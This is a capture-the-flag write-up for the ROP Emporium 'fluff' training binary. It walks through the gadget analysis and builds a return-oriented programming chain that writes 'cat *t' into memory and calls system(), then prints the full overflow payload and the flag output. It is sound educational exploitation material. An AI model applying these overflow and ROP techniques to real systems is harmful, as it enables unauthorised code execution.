ROP Emporium CTF 6/7 fluff
This challenge uses a similar pwnme
function to other ROP Emporium challenges.
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./fluff --batch -ex run
fluff by ROP Emporium
64bits
You know changing these strings means I have to rewrite my solutions...
>
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
Looking at the symbols we don’t have usefulGadgets
this time.
$ r2 ./fluff -qc "is" | grep useful
039 0x00000807 0x00400807 LOCAL FUNC 17 usefulFunction
$ r2 ./fluff -qc "aa ; pdf @sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 55 push rbp
| 0x00400808 4889e5 mov rbp, rsp
| 0x0040080b bf5b094000 mov edi, str.bin_ls
| 0x00400810 e8cbfdffff call sym.imp.system
| 0x00400815 90 nop
| 0x00400816 5d pop rbp
\ 0x00400817 c3 ret
But there are some questionableGadgets
which appear to be useful gadgets mixed with less useful instructions.
$ r2 ./fluff -qc "is" | grep -i gadget
067 0x00000820 0x00400820 GLOBAL NOTYPE 0 questionableGadgets
$ r2 ./fluff -qc "pd 21 @ 0x00400820"
;-- questionableGadgets:
0x00400820 pop r15
0x00400822 xor r11, r11
0x00400825 pop r14
0x00400827 mov edi, loc.data_start ; loc.__data_start
; 0x601050
0x0040082c ret
0x0040082d pop r14
0x0040082f xor r11, r12
0x00400832 pop r12
0x00400834 mov r13d, 0x604060 ; '`@`'
0x0040083a ret
0x0040083b mov edi, loc.data_start ; loc.__data_start
; 0x601050
0x00400840 xchg r11, r10
0x00400843 pop r15
0x00400845 mov r11d, 0x602050 ; 'P `'
0x0040084b ret
0x0040084c pop r15
0x0040084e mov qword [r10], r11
0x00400851 pop r13
0x00400853 pop r12
0x00400855 xor byte [r10], r12b
0x00400858 ret
Building a working exploit from these pieces is a little convoluted.
Working backwards, our last 2 gadgets need to be:
mov edi, 0x601050
system()
Next we need to get our exploit string into 0x601050
. There are 2 gadgets for writing registers to memory:
mov qword [r10], r11
xor byte [r10], r12b
We’ll go for the mov
because it is mov
ing 8 bytes at once whereas the xor
gadget is only copying a single byte.
To make it work we need [1] 0x601050
in r10
and [2] our exploit string in r11
.
For [1] there are no gadgets to mov
0x601050
into a general purpose register but we can copy a close number (0x602050
) and then xor
by 0x3000
to turn the 0x2050
part into 0x1050
.
mov r11d, 0x602050
pop r12 ...
0x3000
xor r11, r12
xchg r11, r10
For [2] we first need to come up with an exploit string. Keeping it under 8 bytes will save us from duplicating parts of the rop chain. So instead of "/bin/cat flag.txt"
we can abuse shell globbing and knowledge that only two files exist in the bin/
directory, "fluff"
and "flag.txt"
(run the exploit with ls
first if you think that “knowing” the directory layout is too close to cheating). With that in mind we can exploit shell globbing to capture only the flag file with less than 8 bytes "cat *t"
.
pop r12 ...
0x0000742a20746163 ("cat *t")
xor r11, r11 (0x00 => r11)
xor r11, r12 (r12 => r11)
Now finally we can do the mov qword
to get our exploit string into the right memory address.
mov qword [r10], r11
Interleaving the various gadgets so they don’t clobber each other is another mini challenge. The final rop chain I came up with looks like this:
0x0000000000400845 # mov r11d, 0x602050
0x0000000000400832 # pop r12 ; mov r13d, 0x604060
0x0000000000003000 #
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000742a20746163 # "cat *t" => r12
0x0000000000400840 # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050
0x0000000000000000 # => r15
0x0000000000400822 # xor r11, r11 ; pop r14 ; mov edi, 0x601050
0x0000000000000000 # => r14
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000000000000000 # => r12
0x000000000040084e # mov qword [r10], r11 ; pop r13 ; pop r12 ; xor byte [r10], r12b
0x0000000000000000 # => r13
0x0000000000000000 # => r12
0x0000000000400810 # => system()
See the earlier split
challenge for code to convert addresses to the form below.
perl -e 'print(("\x00" x 0x28) .
"\x45\x08\x40\x00\x00\x00\x00\x00" .
"\x32\x08\x40\x00\x00\x00\x00\x00" .
"\x00\x30\x00\x00\x00\x00\x00\x00" .
"\x2f\x08\x40\x00\x00\x00\x00\x00" .
"\x63\x61\x74\x20\x2a\x74\x00\x00" .
"\x40\x08\x40\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x22\x08\x40\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x2f\x08\x40\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x4e\x08\x40\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x10\x08\x40\x00\x00\x00\x00\x00")' | ./fluff
fluff by ROP Emporium
64bits
You know changing these strings means I have to rewrite my solutions...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault